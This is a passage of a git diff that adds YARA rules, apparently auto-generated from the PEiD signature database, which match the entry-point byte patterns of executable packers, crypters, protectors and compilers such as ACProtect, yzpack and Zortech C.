+        description = "[yzpack V2.0 -> UsAr ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {25 ?? ?? ?? ?? 61 87 CC 55 45 45 55 81 ED CA 00 00 00 55 A4 B3 02 FF 14 24 73 F8 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 1F B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3C AA EB DC FF 54 24 04 2B CB 75 0F FF 54 24 08 EB 27 AC D1 E8 74 30 13 C9 EB 1B 91 48 C1 E0 08 AC FF 54 24 08 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 99 BD ?? ?? ?? ?? FF 65 28}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03549_yzpack_V2_0____UsAr_
+{
+    meta:
+        description = "[yzpack V2.0 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {25 ?? ?? ?? ?? 61 87 CC 55 45 45 55 81 ED CA 00 00 00 55 A4 B3 02 FF 14 24 73 F8 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 1F B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3C AA EB DC FF 54 24 04 2B CB 75 0F FF 54 24 08 EB 27 AC D1 E8 74 30 13 C9 EB 1B 91 48 C1 E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03550_ZCode_Win32_PE_Protector_v1_01_
+{
+    meta:
+        description = "[ZCode Win32/PE Protector v1.01]"
+        ep_only = "true"
+    strings:
+        $a = {E9 12 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 FB FF FF FF C3 68 ?? ?? ?? ?? 64 FF 35}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03551_ZealPack_1_0____Zeal_
+{
+    meta:
+        description = "[ZealPack 1.0 -> Zeal]"
+        ep_only = "true"
+    strings:
+        $a = {C7 45 F4 00 00 40 00 C7 45 F0 ?? ?? ?? ?? 8B 45 F4 05 ?? ?? ?? ?? 89 45 F4 C7 45 FC 00 00 00 00 EB 09 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 55 F0 7D 22 8B 45 F4 03 45 FC 8A 08 88 4D F8 0F BE 55 F8 83 F2 0F 88 55 F8 8B 45 F4 03 45 FC 8A 4D F8 88 08 EB CD FF 65 F4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03552_ZipWorxSecureEXE_2_5____ZipWORX_Technologies_LLC__h__
+{
+    meta:
+        description = "[ZipWorxSecureEXE 2.5 -> ZipWORX Technologies LLC (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E9 B8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 53 65 63 75 72 65 45 58 45 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 28 63 29 20 32 30}
+    condition:
+        $a
+}
+
+rule PEiD_03553_ZipWorxSecureEXE_v2_5____ZipWORX_Technologies_LLC__h__
+{
+    meta:
+        description = "[ZipWorxSecureEXE v2.5 -> ZipWORX Technologies LLC (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 B8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 53 65 63 75 72 65 45 58 45 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 28 63 29 20 32 30 30 34 2D 32 30 30 37 20 5A 69 70 57 4F 52 58 20 54 65 63 68 6E 6F 6C 6F 67 69 65 73 2C 20 4C 4C 43 0D 0A 50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 37 2D 32 30 30 31 20 4C 65 65 20 48 61 73 69 75 6B 0D 0A 41 6C 6C 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2E 0D 0A 00 00 8B 44 24 04 23 05 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 83 C4 04 FE 05 ?? ?? ?? ?? 0B C0 74 02 FF E0 8B E5 5D C2 0C 00 80 3D ?? ?? ?? ?? 00 75 13 50 2B C0 50 E8 ?? ?? 00 00 83 C4 04 58 FE 05 ?? ?? ?? ?? ?? 94 9A 8D 91 9A 93 CC CD 00 B8 93 90 9D 9E 93 BE 93 93 90 9C 00 B8 93 90 9D 9E 93 B9 8D 9A 9A 00 B8 9A 8B B2 90 9B 8A 93 9A B7 9E 91 9B 93 9A BE 00 B8 9A 8B B2 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03554_Zortech_C_v2_00_1988__1989_
+{
+    meta:
+        description = "[Zortech C v2.00 1988, 1989]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? 8E D8 8C ?? ?? ?? 26 8B ?? ?? ?? 89 1E ?? ?? 8B D8 2B 1E ?? ?? 89 1E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03555_Zortech_C_v3_0_
+{
+    meta:
+        description = "[Zortech C v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {FA FC B8 ?? ?? ?? 8C C8 8E D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03556_Zortech_C_
+{
+    meta:
+        description = "[Zortech C]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 2E FF ?? ?? ?? FC 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03557_Zurenava_DOS_Extender_v0_45__v0_49_
+{
+    meta:
+        description = "[Zurenava DOS Extender v0.45, v0.49]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? B9 ?? ?? 56 FC F3 A5 5F E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03558_______EXE______________________________
+{
+    meta:
+        description = "[²Ø¾¨¸óEXEÎļþÀ¦°ó»ú »áԱר°æ -> ³Â¾­èº]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 E4 53 56 57 33 C0 89 45 E4 89 45}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03559_____EXE___________v1_0_________
+{
+    meta:
+        description = "[½ÌÖ÷EXEÎļþÀ¦°óÆ÷ v1.0 -> ½ÌÖ÷]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 08 4B 40 00 68 36 3A 40 00 64 A1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03560____v1_0____Li_Jianjun_
+{
+    meta:
+        description = "[Éþ v1.0 -> Li-Jianjun]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03561____________v1_0_________
+{
+    meta:
+        description = "[ÎļþÀ¦°óÆ÷ v1.0 -> ÐíÔÆ]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 89 E5 6A FF 68 1C 30 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03562_____EXE__________yy66_
+{
+    meta:
+        description = "[ÐÄÆæEXEºÏ²¢Æ÷ -> yy66]"
+        ep_only = "true"
+    strings:
+        $a = {68 78 18 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03563__________2_2b____Shoooo_
+{
+    meta:
+        description = "[Ü¥±±Ñ¹Ëõ 2.2b -> Shoooo]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 11 55 07 8B EC B8 14 80 0E 03 E8 D1 09 00 0A 57 33 D2 FF 75 18 B9 E8 1F DE 16 81 C0 8D BD EE 7F FB F8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03564__________2_2b_Anti____xiaohui_
+{
+    meta:
+        description = "[Ü¥±±Ñ¹Ëõ 2.2b Anti -> xiaohui]"
+        ep_only = "true"
+    strings:
+        $a = {EB F4 11 55 07 8B EC B8 14 80 0E 03 E8 D1 09 00 0A 57 33 D2 FF 75 18 B9 E8 1F DE 16 81 C0 8D BD EE 7F FB F8}
+    condition:
+        $a at pe.entry_point
+}
+
diff --git a/yara-mikesxrs/Didier Stevens/peid-userdb-rules-without-pe-module.yara b/yara-mikesxrs/Didier Stevens/peid-userdb-rules-without-pe-module.yara
new file mode 100644
index 0000000..b272b1f
--- /dev/null
+++ b/yara-mikesxrs/Didier Stevens/peid-userdb-rules-without-pe-module.yara	
@@ -0,0 +1,38977 @@
+/*
+  YARA rules generated with peid-userdb-to-yara-rules.py
+  https://DidierStevens.com
+  Use at your own risk
+
+  File: userdb.txt
+  --exclude: exclude.txt
+  --eponly: all
+  --pe: True
+  Generated: 2015/02/15 12:03:34
+*/
+
+import "pe"
+
+rule PEiD_00001__EP__ExE_Pack__V1_0____Elite_Coding_Group_
+{
+    meta:
+        description = "[!EP (ExE Pack) V1.0 -> Elite Coding Group]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00002__EP_ExE_Pack__V1_0____6aHguT___g_l_u_k_
+{
+    meta:
+        description = "[!EP(ExE Pack) V1.0 -> 6aHguT & g-l-u-k]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00003__EP_ExE_Pack__V1_4_lite_b2____6aHguT___g_l_u_k_
+{
+    meta:
+        description = "[!EP(ExE Pack) V1.4 lite b2 -> 6aHguT & g-l-u-k]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00004__EP_ExE_Pack__V1_4_lite_final____6aHguT___g_l_u_k_
+{
+    meta:
+        description = "[!EP(ExE Pack) V1.4 lite final -> 6aHguT & g-l-u-k]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 61 B8 ?? ?? ?? ?? FF E0 55 8B EC 60 55 8B 75 08 8B 7D 0C E8 02 00 00 00 EB 04 8B 1C 24 C3 81 C3 00 02 00 00 53 57 8B 07 89 03 83 C7 04 83 C3 04 4E 75 F3 5F 5E FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16 46 12 D2 73 EF 02 D2 75 05 8A 16 46 12}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00005__EPack_1_4_lite__final____by_6aHguT_
+{
+    meta:
+        description = "[!EPack 1.4 lite (final) - by 6aHguT]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 8B C0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00006__EPack_V1_4_lite_final____6aHguT_
+{
+    meta:
+        description = "[!EPack V1.4 lite final -> 6aHguT]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 8B C0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? 00 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00007__pirit_v1_5_
+{
+    meta:
+        description = "[$pirit v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? 5B 24 55 50 44 FB 32 2E 31 5D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00008___PseudoSigner_0_2__Yoda_s_Protector_1_02______Anorganix_
+{
+    meta:
+        description = "[* PseudoSigner 0.2 [Yoda's Protector 1.02] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00009__BJFnt_v1_1b_
+{
+    meta:
+        description = "[.BJFnt v1.1b]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00010__BJFnt_v1_2_RC_
+{
+    meta:
+        description = "[.BJFnt v1.2 RC]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00011__BJFnt_v1_3_
+{
+    meta:
+        description = "[.BJFnt v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00012__BJFnt_v1_3_
+{
+    meta:
+        description = "[.BJFnt v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? 3A ?? ?? 1E EB ?? CD 20 9C EB ?? CD 20 EB ?? CD 20 60 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00013__NET_DLL____Microsoft_
+{
+    meta:
+        description = "[.NET DLL -> Microsoft]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 5F 43 6F 72 44 6C 6C 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 ?? 00 00 FF 25}
+    condition:
+        $a
+}
+
+rule PEiD_00014__NET_executable____Microsoft_
+{
+    meta:
+        description = "[.NET executable -> Microsoft]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 5F 43 6F 72 45 78 65 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 00 00 00 FF 25}
+    condition:
+        $a
+}
+
+rule PEiD_00015__NET_executable_
+{
+    meta:
+        description = "[.NET executable]"
+        ep_only = "true"
+    strings:
+        $a = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00016_32Lite_v0_03a_
+{
+    meta:
+        description = "[32Lite v0.03a]"
+        ep_only = "true"
+    strings:
+        $a = {60 06 FC 1E 07 BE ?? ?? ?? ?? 6A 04 68 ?? 10 ?? ?? 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00017_3DMark_Database_file_
+{
+    meta:
+        description = "[3DMark Database file]"
+        ep_only = "false"
+    strings:
+        $a = {33 44 4D 61 72 6B 20 44 61 74 61 62 61 73 65 20 46 69 6C 65}
+    condition:
+        $a
+}
+
+rule PEiD_00018_624__Six_to_Four__v1_0_
+{
+    meta:
+        description = "[624 (Six to Four) v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 55 4C 50 83 ?? ?? FC BF ?? ?? BE ?? ?? B5 ?? 57 F3 A5 C3 33 ED}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00019__MSLRH__v32a____emadicius_
+{
+    meta:
+        description = "[[MSLRH] v32a -> emadicius]"
+        ep_only = "true"
+    strings:
+        $a = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00020_A_program_by_Jupiter____
+{
+    meta:
+        description = "[A program by Jupiter ..]"
+        ep_only = "true"
+    strings:
+        $a = {2B C0 74 05 68 ?? ?? ?? ?? 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00021_A3E__TXT2COM__
+{
+    meta:
+        description = "[A3E (TXT2COM)]"
+        ep_only = "true"
+    strings:
+        $a = {1E 33 C0 50 BE ?? ?? 81 C6 ?? ?? B8 ?? ?? 8E C0 BF ?? ?? B9 ?? ?? F3 A5 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00022_Aase_Crypter___by_santasdad_
+{
+    meta:
+        description = "[Aase Crypter - by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 A0 3E 00 10 E8 93 DE FF FF 68 F8 42 00 10 E8 79 DF FF FF 68 00 43 00 10 68 0C 43 00 10 E8 42 DF FF FF 50 E8 44 DF FF FF A3 98 66 00 10 83 3D 98 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 1C 43 00 10 6A 00 E8 4B DF FF FF 68 2C 43 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00023_Aase_Crypter___by_santasdad_
+{
+    meta:
+        description = "[Aase Crypter - by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 A0 3E 00 10 E8 93 DE FF FF 68 F8 42 00 10 E8 79 DF FF FF 68 00 43 00 10 68 0C 43 00 10 E8 42 DF FF FF 50 E8 44 DF FF FF A3 98 66 00 10 83 3D 98 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 1C 43 00 10 6A 00 E8 4B DF FF FF 68 2C 43 00 10 68 0C 43 ?? ?? ?? ?? DF FF FF 50 E8 0E DF FF FF A3 94 66 00 10 83 3D 94 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 38 43 00 10 6A 00 E8 15 DF FF FF 68 48 43 00 10 68 0C 43 00 10 E8 D6 DE FF FF 50 E8 D8 DE FF FF A3 A0 66 00 10 83 3D A0 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 58 43 00 10 6A 00 E8 DF DE FF FF 68 6C 43 00 10 68 0C 43 00 10 E8 A0 DE FF FF 50 E8 A2 DE FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00024_ABC_Cryptor_1_0___by_ZloY_
+{
+    meta:
+        description = "[ABC Cryptor 1.0 - by ZloY]"
+        ep_only = "true"
+    strings:
+        $a = {68 FF 64 24 F0 68 58 58 58 58 90 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68 ?? ?? ?? ?? BF 00 ?? ?? ?? B9 00 ?? ?? ?? 80 37 ?? 47 39 CF 75 F8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00025_ACE_Archive_
+{
+    meta:
+        description = "[ACE Archive]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? 2A 2A 41 43 45 2A 2A}
+    condition:
+        $a
+}
+
+rule PEiD_00026_AcidCrypt_
+{
+    meta:
+        description = "[AcidCrypt]"
+        ep_only = "true"
+    strings:
+        $a = {60 B9 ?? ?? ?? 00 BA ?? ?? ?? 00 BE ?? ?? ?? 00 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00027_AcidCrypt_
+{
+    meta:
+        description = "[AcidCrypt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00028_ACProtect_1_09g____Risco_software_Inc__
+{
+    meta:
+        description = "[ACProtect 1.09g -> Risco software Inc.]"
+        ep_only = "true"
+    strings:
+        $a = {60 F9 50 E8 01 00 00 00 7C 58 58 49 50 E8 01 00 00 00 7E 58 58 79 04 66 B9 B8 72 E8 01 00 00 00 7A 83 C4 04 85 C8 EB 01 EB C1 F8 BE 72 03 73 01 74 0F 81 01 00 00 00 F9 EB 01 75 F9 E8 01 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00029_ACProtect_1_4x____RISCO_soft_
+{
+    meta:
+        description = "[ACProtect 1.4x -> RISCO soft]"
+        ep_only = "false"
+    strings:
+        $a = {47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70}
+    condition:
+        $a
+}
+
+rule PEiD_00030_ACProtect_1_4x____RISCO_soft_
+{
+    meta:
+        description = "[ACProtect 1.4x -> RISCO soft]"
+        ep_only = "false"
+    strings:
+        $a = {47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 6F 72 74 5F 45 6E 64 73 73 00}
+    condition:
+        $a
+}
+
+rule PEiD_00031_ACProtect_V1_3X____risco_
+{
+    meta:
+        description = "[ACProtect V1.3X -> risco]"
+        ep_only = "true"
+    strings:
+        $a = {60 50 E8 01 00 00 00 75 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00032_ACProtect_v1_41_
+{
+    meta:
+        description = "[ACProtect v1.41]"
+        ep_only = "true"
+    strings:
+        $a = {60 76 03 77 01 7B 74 03 75 01 78 47 87 EE E8 01 00 00 00 76 83 C4 04 85 EE EB 01 7F 85 F2 EB 01 79 0F 86 01 00 00 00 FC EB 01 78 79 02 87 F2 61 51 8F 05 19 38 01 01 60 EB 01 E9 E9 01 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00033_ACProtect_V1_4X____risco_
+{
+    meta:
+        description = "[ACProtect V1.4X -> risco]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 7C 83 04 24 06 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00034_ACProtect_v1_90g____Risco_software_Inc__
+{
+    meta:
+        description = "[ACProtect v1.90g -> Risco software Inc.]"
+        ep_only = "true"
+    strings:
+        $a = {60 0F 87 02 00 00 00 1B F8 E8 01 00 00 00 73 83 04 24 06 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00035_ACProtect_UltraProtect_1_0X_2_0X____RiSco_
+{
+    meta:
+        description = "[ACProtect/UltraProtect 1.0X-2.0X -> RiSco]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00036_ACProtect_UltraProtect_1_0X_2_0X____RiSco_
+{
+    meta:
+        description = "[ACProtect/UltraProtect 1.0X-2.0X -> RiSco]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 55 53 45 52 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 6F 72 74 5F 45 6E 64 73 73 00}
+    condition:
+        $a
+}
+
+rule PEiD_00037_ActiveMARK_5_x____Trymedia_Systems_Inc___h__
+{
+    meta:
+        description = "[ActiveMARK 5.x -> Trymedia Systems Inc. (h)]"
+        ep_only = "false"
+    strings:
+        $a = {20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67}
+    condition:
+        $a
+}
+
+rule PEiD_00038_ActiveMARK_5_x____Trymedia_Systems_Inc___h__
+{
+    meta:
+        description = "[ActiveMARK 5.x -> Trymedia Systems,Inc. (h)]"
+        ep_only = "false"
+    strings:
+        $a = {20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67 67 65 72 20 69 6E 20 6D 65 6D 6F 72 79 2E 0D 0A 50 6C 65 61 73 65 20 75 6E 6C 6F 61 64 20 74 68 65 20 64 65 62 75 67 67 65 72 20 61 6E 64 20 72 65 73 74 61 72 74 20 74 68 65 20 61 70 70 6C 69 63 61 74 69 6F 6E 2E 00 57 61 72 6E 69 6E 67}
+    condition:
+        $a
+}
+
+rule PEiD_00039_ActiveMARK_TM_
+{
+    meta:
+        description = "[ActiveMARK[TM]"
+        ep_only = "true"
+    strings:
+        $a = {79 11 7F AB 9A 4A 83 B5 C9 6B 1A 48 F9 27 B4 25}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00040_AdFlt2_
+{
+    meta:
+        description = "[AdFlt2]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 01 9C 0F A0 0F A8 60 FD 6A 00 0F A1 BE ?? ?? AD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00041_Adlib_Sample_Audio_file_
+{
+    meta:
+        description = "[Adlib Sample Audio file]"
+        ep_only = "false"
+    strings:
+        $a = {47 4F 4C 44 20 53 41 4D 50 4C 45}
+    condition:
+        $a
+}
+
+rule PEiD_00042_Ady_s_Glue_1_10_
+{
+    meta:
+        description = "[Ady's Glue 1.10]"
+        ep_only = "true"
+    strings:
+        $a = {2E ?? ?? ?? ?? 0E 1F BF ?? ?? 33 DB 33 C0 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00043_Ady_s_Glue_v0_10_
+{
+    meta:
+        description = "[Ady`s Glue v0.10]"
+        ep_only = "true"
+    strings:
+        $a = {2E 8C 06 ?? ?? 0E 07 33 C0 8E D8 BE ?? ?? BF ?? ?? FC B9 ?? ?? 56 F3 A5 1E 07 5F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00044_AHpack_0_1____FEUERRADER__h__
+{
+    meta:
+        description = "[AHpack 0.1 -> FEUERRADER (h)]"
+        ep_only = "true"
+    strings:
